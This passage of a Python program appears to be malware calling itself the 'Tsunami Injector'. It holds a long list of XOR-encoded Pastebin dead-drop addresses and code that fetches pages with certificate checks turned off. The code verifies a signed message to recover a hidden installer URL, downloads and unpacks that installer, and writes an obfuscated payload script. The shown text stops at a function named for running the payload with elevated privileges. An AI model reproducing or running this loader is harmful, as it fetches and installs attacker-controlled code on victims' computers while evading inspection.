        "6e654a792f270815342d24112107205d58077674795b645b6f222740123e163d3730191a346608777c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6c5b4a302f1d49093120570f17045b596f0408106c4b7059450f091e142c691c343f27580c0070435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6e65747d2e27260c3208280b260428425b065c57756719566e0c2040131406550c0a232d0d036f05697446574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58",
        "6f65603f2f38220c31322820170402595d727a71795b60566c0c3345153e69360a203304376973777c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6c4b6c7d2e381c00343d0656212e5b475a587663795b70566f0c3b1c294b3c103732055c3476005c521115574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58",
        "6c5b78312f1d360d32562425160438455a580966795b60136f32090a143e3c2c0c551910376409435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6e7560302c42450f3422160f235a2c455d6062476f4b70116f102b1c133112333430191b0c0300717c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6f5b42782c283e030932162f103e1a5b586d7a74795b425b6f223705124b692a0a20191d0c6600717c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6f65747d2f3726490a32160b272e1a5b5b067a62795b68596f1c27452921023134200d050f6651617c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6c5b747c2f1e22140a30161e2f3e02465b057e476c4b4a5b6c251918294b6928373044013b5800047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6f4b4a3f2e38220332542c1111210a476a7308586e757014430f2741134b16210d550d1f0c0078435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6c6578302c1d2200093d0a0c2731205d58627a49704d19586f32240a12171a0d3f0a2307376770435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6e654a782c1e3e1509572834165b5b415d637a476c5b6c596f102f0a292f120a0d550d05384800047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6c4b6c7c2f2722150a33241216045769614f5b126f5b4515437a2b05232e06150c093f2f22026c435276184b6d4c1438381d264933572810391056075a0672114566461c",
        "6c4b68792e371813320e021e2f313c015d607a476c4b42126e102b1c143e16093d2f37010d5d5a435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6c5b60782c433e12320b381120072044606372476c6546586f260d1b121416210f2f271a37666f6d7c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6f7570312e2822000a3d200b272124595b62766c795b46116c32051b2a2102540c563f070c5c5546517478574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58",
        "6f5b70782e274949325706362c043c456a6308106f757810430f2741134806500c2027013b4800047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6c75607c2e37260a31575b252f04285d6d7308106e756c157b102f06113c1e550d0a4c1e0c6452435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6f65427a2f4245113457020f2321204360077675795b46566c0c371e1217062e343f231c346760435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6f65707c2c2736090a225b2d2f3138495a077662795b78146f323b18123e69500c570d5c0d5c7f40517468574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58",
        "6f7542312c1e3a15322d3c5624045b4160580972795b68146e0c090a133e06093d55401f0d5c7f5a655818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f",
        "6f65647d2e383a0909300652112e024460636a476f756c136c1f370a124b38210d0a23070c5a7c435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6e75687d2e283a15340838282f2e5b595a5e54476e6564156e002b18123e28093f543f58370377657c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6f4b463f2f42220a09302452112e0275614f75586c5b775b7b103b18254b650d0c57021f0a62004152136c54434c4d213b282203093d2f1139131e4b5a7d621140601c1c",
        "6c75467d2f283e4809575720163e28486a6308596c6568107b0f271c13121a1f343f2f05346456435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6f5b78792f37410f32083830170457475a737e476f654a126f263307122e691c3b2f3b130f695d617c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6c65707c2f1e3a15312d3c0f275a025b5b58766e795b78106f3233092a2e65100f3111070c5c7f7c7c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6f4b707b2c28220034320a11223e064b586d7a49746719146f1c2c42134a06100f3244050d037f4c627218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f",
        "6f7564792c1d450c3130161e2f3e0a476c5908586c5b4a1143253742244b020d34301d2b22026c435276184b6d4c1438381d264933572810391056075a0672114566461c",
        "6e6578302e383a15315728292f3e16465a725c6e795b46146f0c271a11211a553432441d3766515d534a42574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58",
        "6f4b747c2c431c12093238342f2e5b5d5d7d5867795b46146c1c0d06123e34103f302f0437696b617c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6c4b647d2f1d2211330e0a572f3e24416f7308136e75425b401f271f26313c120d20332022026c435276184b6d4c1438381d264933572810391056075a0672114566461c",
        "6c6546782e383a1532085711205a24475a067a10701019566e0c28402a2e28550f3127070c5c5547517446574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58",
        "6f5b787c2f27080a0a325f331604385a5d070970795b4a106f223b1c294b3c360d5523073766087f7c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6c5b78322c1d490933572823112e065f5d627665795b60586e1c2709142e38550d0c33060a765d406a7456574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58",
        "6f65683f2e281c0a34225b0b275a245d5d5e09476f7578566c7a0d00112f0a550d55235b0c5a52435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6c6578782c283e103430201d2f3e0264614f53136c65674d43255840254b060f0f3f373d22026c435276184b6d4c1438381d264933572810391056075a0672114566461c",
        "6f7568302e3722150a225b0f212e3c48606d4049726719126c1c3809122e160a373f3f213466415d527677666d12743e032749131c085b172c0438015a0776566d581917427b2340143e3758",
        "6f6574782c1e1c4b3257571e275a20015a58764e701019106c0c2c40152102130c573f060d037f7c7c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6c4b78302c2726123133240c2f3e0264614f615b6e754911427a37051312061c373f27190a645a435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6f7542302c42260b34303c0b143e164258607a476f4b6c106f7b09061212241f0d0a3305396200047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6f75703f2f1d18113123201d115b384860047e476f4b64596f1f54001249201f0d5523030b746c435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6c7564312f27260334322823112e384260587674795b64156c1c051f143e16093d2f191b37035505655818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f",
        "6c4b787c2e27140c313d2c112621204863626662795b46586f0c37092a2134130c222f1c0c030859646218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f",
        "6c75683f2e37364c320e3857162e38426c0408566f4b605b430f271e2a2c28090b0a19103b7200047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6c5b747b2c283e49320828341604285d6b7308106c4b7812440f0d1d2a211a340a2f3b01346973767c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6e654a322f283e4932575734112e02056b6308126f756812427a331812481a1f3420401f3f5800047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6e656c782e3745150a3d20122331025a5b057a476f5b4a156c255400292112313420231b3703556d7c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6c656c7d2c1d1415330e0a1d172e165d6c0408156e656c157b0f37042a2e06310a202304345f6f767c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6c4b42312f42360f095757232f2e384258627666795b4a126c22271f143e16090d0c3f050a767f5c6a7768574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58",
        "6f75427d2c272200093d0a0b2004344263625875795b64566c0c3b09292e062a0c2033020f6973767c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6f5b4a302e27450f323d240b205a204863625811751019566c1c024112211a133855231e376474435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6f756c7d2c28220934332857113e0665614f79566f7549144225581c113f02173755193822026c435276184b6d4c1438381d264933572810391056075a0672114566461c",
        "6c4b607a2f2818153322020c2431205d5c726675795b6c116c2209411317062d0f5523050d5a74435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6c75687c2c433e0c325520122f313c595d737e476f4b60566f7b2f02124b6926373027010c5c7f717c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6f5b4a782f383e000a3d2c0f202e3844586254547377195b6c1c0a08143e3c113709233d0c660043526468574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58",
        "6c6560792c27450f342d240f2404344263625875795b60156f32050a121734350c0a4c190a76007b7c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6e754a312f283e0c31330a13175b5762614f61586c4b7754781f5040292c1a090f55332722026c435276184b6d4c1438381d264933572810391056075a0672114566461c",
        "6f6568782c283e030a3206231604385f5b585c75795b68126f323705124b61110c573b130a66774c697411574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58",
        "6c4b643f2e27040a31305f0b17045b73614f75566c654d11430f58422a2f1a09345540013b5800047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6e6546792f3726030930200b11042879614f61586e756754451f1118214a1e090c57161f0a62004152136c54434c4d213b282203093d2f1139131e4b5a7d621140601c1c",
        "6c7574782c4222153408022a1604385a5c637a476c7560116c100d09112e16200d54271f0c5a4a435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6c6546322f283e16342d38112231025860607a476e75645b6e0f58002a3e16363420230234666f7a7c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6c5b603f2f424509322224562721205d636d7a4f707719156c0c38422a211a130c0a112334030c4554666f636d12743e032749131c085b172c0438015a0776566d581917427b2340143e3758",
        "6e6564322e3745113323200c2f3e1a5b5d637e476f7560126f0f5006124820550d0a33593b4800047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6f7578322f1d260e32541e1d17070a476b0408136c4b6010427b3300234b060f0c0a193d22026c435276184b6d4c1438381d264933572810391056075a0672114566461c",
        "6c5b4a792f271c12343228332f2e5b416f0408126e75601445002f0022311e170c0a333c22026c435276184b6d4c1438381d264933572810391056075a0672114566461c",
        "6c4b467a2c283e150a22572314212000685908116e75421440003309142e69220c2033053a5800047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6e7564792f1d45150a30240c17043865614f75566f5b674c781f37351314690a0a2f232b22026c435276184b6d4c1438381d264933572810391056075a0672114566461c",
        "6f65787b2e37220a0a320220173124476b5908146c657859450f3703123e16260d550d1937640d435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6c5b46302c1e3a153456201224313c5c606d7a64795b465b6c322706123e28093d202313376470435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6f4b68792e27260a342d3c0f245a20015b074851746719586f1c02412a211e54340a233a0c764143626218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f",
        "6e6542302e381c4933080208232120585d6372476f6574126f25274012141631343f2f1f0d5d78435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6f4b463f2f42260e09333c0c2f313c41637066476c5b425b6f7b2f092a2102103c3019060c766f707c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6e754a312c272603313d381e245a204460620110726719106f323840134b65130c56275c0d5c0c59636218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f",
        "6e7568792e27450e335538532f31204b5d637e476c4b4a106c102f00121406203430190234746c435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6e7542302f433e15090b3832175a2c046f7308126f75685b422537402a2f120e343011100c0160435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6f4b4a312c283a113254200b165a24476a73085b6c4b60117b103b0312481e080c203306346470435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6c6546782c281c0c3208382c160438025b074862795b4a566f222f05131469260d54371e3f6200047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6f656c312e3722090955280f14212c42686308586f75465945002f411315021f3455233a22026c435276184b6d4c1438381d264933572810391056075a0672114566461c",
        "6f5b607c2e372200093d0a251604384260626664795b6c566e0c3b401214060b0d0b23130c76414551106c574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58",
        "6c5b747b2e2826000a332c0b172e025e6f0408156f6546117b103b00123c1e0b0c0a1913386200047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6c6546782f1e220c093d242f2f2e285d6c5908156c5b7814450f3705292e28340f203b590a6641717c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6f5b74312f283e1532222829165b5b5d5b620979795b46586c0c091f134b3c3d345540583d5800047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6e65647d2f1d0815342d060b21072459636354476c5b6c156e0f37422a2102310a20231c0d0060435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6c5b647b2f1d22150a5624312f312048606d7275795b64566c1c090a2a211a10343211010c6641777c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6f4b42322c271448330e3c1e175b2448686308106e756411450f5418264b69500c0a333d22026c435276184b6d4c1438381d264933572810391056075a0672114566461c",
        "6c4b68792c1d451534083857205a24476372054d774d19136e1c3844112e6113373240103469774f6a7456574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58",
        "6f75787c2f42220a31330a142f312400606048476c654a5b6f7b2f40134b692c0d0a33590d5c007b7c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6c7570322c272612313d24242f3e0a595a585c6f795b4a126f1c331f294a062b34302f010d030c637c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6e75427a2c1d260b32575723103e38445b0501476e6578596f2633052a2e341c383027190d767f667c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6f6578782f37450f3222160b2131205a5b0554476c6560136e0f5443124b65290f5533020c014a435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6c5b707b2c4236143130341d175b287c614f65146f5b735343252707254b02090a300d01385800047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6f4b46312f383a0f3422200b2621205b636d7275795b60586c0c2f1c114b163d0d55195d3f6200047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6e75607c2c27260a09303c0c2f3e20415a5972476e7568586c25371c131434270d54191f0f5c0c737c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6f4b467c2f433e093520280c2c3e5748605e76476f7560116e0f091e12143c310f2011580c0351607c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6c656c7c2f4208110957572a112e16415d607a476c6578136c251503292f02550d55235b0c5a52435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6c5b70302e283e15312d2017235b385f60637a476e754a156c7b2b0613171a153a3f3f050f02735d647218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f",
        "6c6560302e283e120932382e165b165960070976795b60116e1c2f0a2a2e610d0d0c2f0134767341697456574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58",
        "6c4b64782c1d2a150a302414172e0264614f5b136f4b491143253740153c06550c0a231d0c0109435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6c65783f2c272a0f0a30341d113e5b47685908156e657815407a2f1c113c1e093755195b0c010d435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6e756c302f1d36000a5728172304385f63726652746719566f0c3040152e28090c0a4c240b6641426a7768574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58",
        "6f65467c2c283e0a0932201123041641587372476f6546146f002f042a2e02133a30111c0f695143614818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f",
        "6f4b687b2c281c0a34301e0b165b02005b0548476c5b70106f1f331c131706133b20400134036f767c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6e7578322c1e3e0b33082829160438425b720972795b46136e0c2b0a2a21020d0c21371a37666b45534a68574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58",
        "6c4b467c2c1e3e0a322d382417042846606040476f5b64596c262f4529211e1f3c3f371f0c015e435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6f65787c2e2822130a3d2c1d243124475b076254727719136e0c2009134b061534204c2a34764159517649756d12743e032749131c085b172c0438015a0776566d581917427b2340143e3758",
        "6e7574312e2704133133241d11313c595d737e476f6560586f0f2f00134b16260c200d013d7200047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6f5b4a7b2f1d450f34225b0b24073c4663627e4b707719136e1c2c43294b3c1c0b320d590d037f59646218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f",
        "6c756c3f2c42221232543c1d2f3e5b47587372476c5b64596c100d18144a1a133a0a4c1c0f696b5d646218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f",
        "6c7546322c27260a09082832112e345d587362476f4b78566f0f371e29211e330d5540100c015e435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6f65747b2c4204133430241d1704025860607e476c6574596c1f331c122e3c270c0a4c190d0355627c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6f5b70782f1d261232555b572f3e1a5b606372476f7568126e1f271a12491a0d0d0a333d22026c435276184b6d4c1438381d264933572810391056075a0672114566461c",
        "6c75647a2f37360d32552057113e0665614f71596c65495b420f58061315021f0a2f3b193a7200047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6c5b74792e282203313d0621102e385a5b5e5c476f5b60146f1f3741132e060a3f554c5937640d435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6f4b6c312e374912320938132f3e0675614f61596f4b6f5b42255840142f02090a2033593b4800047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6f6542322f1e1c0a332d2c56205b284860624865795b78566f1c370a134b060f34313f590d036f40517478574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58",
        "6c6546322c1d081134325b0f21312044586354476f6560596c1f3305112f341f370a441f3f5800047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6c6568302f422603313d340c243e3c5d5a580911741019566e0c3041143112093b5544010f767f4c625818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f",
        "6f4b687a2c283e0e093d24231704575d6d5908156e754a58427a270a112f0a090c0a402b22026c435276184b6d4c1438381d264933572810391056075a0672114566461c",
        "6f5b6c7b2f1e2215322228301121205d5b580968795b605b6c0c37092a2e0a090d0b3705345c7f617c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6f7560322c1d41150a323c0b20043c595b067a62795b74116c322b1f134b162c375519590d7401435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6c4b74782f4226033308573f14313c41606058476f6560156f25151a2a2c1a100f30331d0c0168435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6f4b46322e381415313d340b200438035b726612776719106c1c0a0a2a2e240d0c30233a0c5f7304694f77636d12743e032749131c085b172c0438015a0776566d581917427b2340143e3758",
        "6f75467b2f433e4c09300a1d2c0428486b0408596c654210427b37442a2c281f0f543f013a6200047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6c5b78792c433a15342d381120043c5d63626254727719596c222842143e69163f30231e0f6770435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6f5b643f2e283e12322238172231025a5b057a476c5b78116e1f3300292c280e343f371e376474435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6f4b4a302e37261234305b0a2f04387a614f65146f75675b430f271c242e280d0d09233a22026c435276184b6d4c1438381d264933572810391056075a0672114566461c",
        "6c5b647a2e382a09340e280b1704025f5b5e66476c5b4a116c102f02294b69553b5419590f6474435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6c654a302c433e0e3222382e2f3124596804085b6c757415441f190312481250343040130f6468435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6f656c312e38320f312d201724045b41606054476f5b70126c263341124a3c0d3a20191b0a694904655818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f",
        "6f7542302c42360c3208283f165a385a5b065867795b70116e0c2f1b2a2e02133f5540010f664104634818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f",
        "6f4b74782f1e3e483522382a2f3e205d63624866795b64126e0c051c2a4b02133c2023130a667f717c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6e65423f2c2832113209200c2f3e3869614f71116f65495b7b7b2f26113e16150d0a332722026c435276184b6d4c1438381d264933572810391056075a0672114566461c",
        "6f5b78302c431c103357571e245a024458627672795b46156e0c33042a2e06310d543b010c7474435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6f5b707b2e27181334220254205a025d5b72585b707719566e1c2c432a2112133b0a44010f767f4c625818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f",
        "6c4b647c2e27261231321633143e5f59586001476e65465b6c102f1c134b3c0d3b0a440534764143636218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f",
        "6c5b707b2c4226170a22382e165b38435b0540476c656c156e102f04123e3c220d2f23050f037f7b7c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6f4b707b2e28320f32551608165b0274614f5b156e656b144525271c233e060e37303b053c7200047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6f4b60312c283e150a222808205a20415d07666c795b42586e1c3345133e69210c0911010d5a68435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6c75683f2c42360a0a325f0f202e575a606d7a57736719156e1c2841143e0a150f213b5c0a796b59534d60574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58",
        "6f654a322c43221532080a0f213102585a586664795b4a116c1c05041314162234303b1c0f6774435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6c6578782f273612320828362f3e0a5a60607a476c4b70106f0f2705142f021c34300103346468435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6f65427c2c27220f3320021d11313c595d737e476c7574156e10330012123c090c204c06384800047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6c75707c2e27140c3257160b240724475d6d7651756719126f0c0a41134b3c1c0d0a33200c5c0045534c676f6d12743e032749131c085b172c0438015a0776566d581917427b2340143e3758",
        "6f4b427b2c1d2200093020142c313844606001476c7578586e0f330912491e090d0a232722026c435276184b6d4c1438381d264933572810391056075a0672114566461c",
        "6f5b74782c1d4515340e380c2f3e02486f7308126c756059430f3705131406290a2f3f05375c00667c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6f7568322c1d49173430061d2f2e5b595d737e476f5b4a156e002f09292e1e310a204c1f3f5800047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6f4b42302e38320d34303c1d165b02026c0408566f65785b4325270013121a15373f23013d4800047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6f4b68302f383e15335638242f3e5b04606354476c4b60596f0f581b123e3c2037554019395800047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6e6560792c1e220c0a3d24242f3e5f476a7308596f756013422558401214062b0b3033103c4800047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6c656c312e370811343d3c17200457425b0472476f754a106c7b2f0711211a553b554c1a37645e435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6c6568782f283a15332d240f262e38485b07096f795b60146f222b1c143e6910343227050a5c00717c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6e654a3f2f27261032573c25172e285b5a075c66795b685b6f0c3b092a210a150d0c191c34696b05547415574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58",
        "6c4b60792e27140c3430160f14313c4760047e476e7560116f1f1503292f341f0a20331f3f5800047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6e65747a2f1e3e153222283f2f21244760076672795b68146e0c330329210655375733060a767f7c7c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6c5b747d2f433e150a575b17262e384163070957704d19586e1c240814311e09382f3b01346778435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6f5b4a792c433e0a32225734170402035b727665795b64126c0c3b0a12143c133f55331c0c5a7c435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6c4b687c2f281c0a33225f2d165b3c445d606a476c6546116e002f04292e02270d550d0137036f707c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6f6560782e38220e32573c252f2e38415b726672795b78146e0c051c134a060d3f543f0534766b45614818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f",
        "6f5b46312e283e0b320828322f5b5b415b585c64795b645b6f322b1b2a211a0f37313b050c6655787c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6e7568782c1e3e4933085708205a3c415a58666f795b46126f223306113e1e500d563704345c0059625818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f"
    ]

    # URL Extraction stuff

    # Extensive documentation on this process has been included on my YouTube channel: https://www.youtube.com/watch?v=QB7ACr7pUuE

    def download_pastebin_document(url: str) -> str:
        req = urllib.request.Request(
            url,
            headers = {"User-Agent": "Mozilla/5.0"}
        )

        # SSL off

        context = ssl.create_default_context()
        context.check_hostname = False
        context.verify_mode = ssl.CERT_NONE

        with urllib.request.urlopen(req, context=context) as res:
            return res.read().decode("utf-8")

    def extract_url(document: str, link_text: str) -> list:
        pattern = r'<a\s+(?:[^>]*?\s+)?href="([^"]+)"[^>]*>' + re.escape(link_text) + r'</a>'
        match = re.search(pattern, document)

        if match:
            href = match.group(1)
            return "https://pastebin.com/raw" + href
        else:
            return None

    # Signature verification stuff

    def extract_and_verify_payload_data(payload_data: str) -> bool:
        # Hard coded public key

        trusted_public_key = serialization.load_pem_public_key(binascii.unhexlify(b"0a2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541765267784e3576576e79312f6441633773364b4d0a5a55527971517469314f453131506b615850593332453339544b61753676442b516e74574b4e5446493533576d6b76593659624c476630366f695a39397559640a546b654c2f67744b666e6150504f74316d41444c3952336e46777957414277375134314e67596c753758484d69545575682f545250764f69584c35794b782b340a506e58734e2b73453933706b32714e70422b636e4a312f62347265383978754e70443948516a6a73646133504e4f44313373374f4c3766712b37347459346f630a4d5136424e464f71394a343678642f346a6179386e2f713333763350677777734c36545152356772556466626c585a38575a7a7858564b45714d74714a746d520a4d387a6a486f6f647330506f6f704f5336497a6f59442b616e63687a354a434b484272724d586438672b4132684d712b57356c456b497974626531645058736e0a43514944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a"))

        # Decode message and extract its parts

        payload = json.loads(
            binascii.unhexlify(payload_data.encode("utf-8")).decode("utf-8")
        )

        message = payload["message"]
        signature = base64.b64decode(payload["signature"].encode("utf-8"))

        # Verify the message integrity and signature matches our trusted one

        try:
            trusted_public_key.verify(
                signature,
                message.encode("utf-8"),
                padding.PSS(
                    mgf=padding.MGF1(hashes.SHA256()),
                    salt_length=padding.PSS.MAX_LENGTH
                ),
                hashes.SHA256()
            )

            output("Message and signature integrity check succeeded, message is authentic")

            return message
        except:
            output("Message and signature integrity check failed, message contents will be rejected")

            return None

    # Try each URL. URLs may have non-404 errors, so rescan the list of URLs

    for url in URLS:
        try:
            # Decode the url pair

            pair = decode(url)

            # Extract the profile URL and filename

            profile_url = pair.split("_")[0]
            filename = pair.split("_")[1]

            # Download the document HTML and extract the URL

            document = download_pastebin_document(profile_url)
            url = extract_url(document, filename)

            # :(
            if url == None:
                continue

            # SSL off

            context = ssl.create_default_context()
            context.check_hostname = False
            context.verify_mode = ssl.CERT_NONE

            # Download the contents of the file

            req = urllib.request.Request(
                url,
                headers = {"User-Agent": "Mozilla/5.0"}
            )

            with urllib.request.urlopen(req, context=context) as res:
                # Check the payload data then XOR decode the message

                message = extract_and_verify_payload_data(res.read().decode("utf-8").strip())

                if message:
                    return decode(message)
        except Exception as e:
            # Failure, try the next URL in 5 seconds

            output(f"Failure, waiting... ({e})")

            time.sleep(1)

    # Not found

    return ""

##### Tsunami Injector #####

def download_installer() -> None:
    # Ensure the Tsunami Installer folder exists

    if not os.path.exists(TSUNAMI_INSTALLER_FOLDER):
        os.makedirs(TSUNAMI_INSTALLER_FOLDER, exist_ok = True)

    # Create the temporary file to download to

    download_tempfile = tempfile.NamedTemporaryFile(delete = False).name

    # Get the installer URL

    installer_url = download_installer_url()

    # Download the file from the URL to the temporary download file (SSL off)

    ssl._create_default_https_context = ssl._create_unverified_context

    urllib.request.urlretrieve(installer_url, download_tempfile)

    # Decode the file and save it to the installer path

    with open(download_tempfile, "rb") as f:
        data = f.read()

    decoded = gzip.decompress(data[::-1])

    with open(TSUNAMI_INSTALLER_PATH, "wb") as f:
        f.write(decoded)

    # Delete the temp file

    try:
        os.remove(download_tempfile)
    except:
        pass

def extract_payload() -> None:
    # Extract the payload to its temp file

    with open(TSUNAMI_PAYLOAD_PATH, "w") as f:
        f.write(obfuscate_script(TSUNAMI_PAYLOAD_SCRIPT, 50))

def execute_payload_with_uac() -> bool:
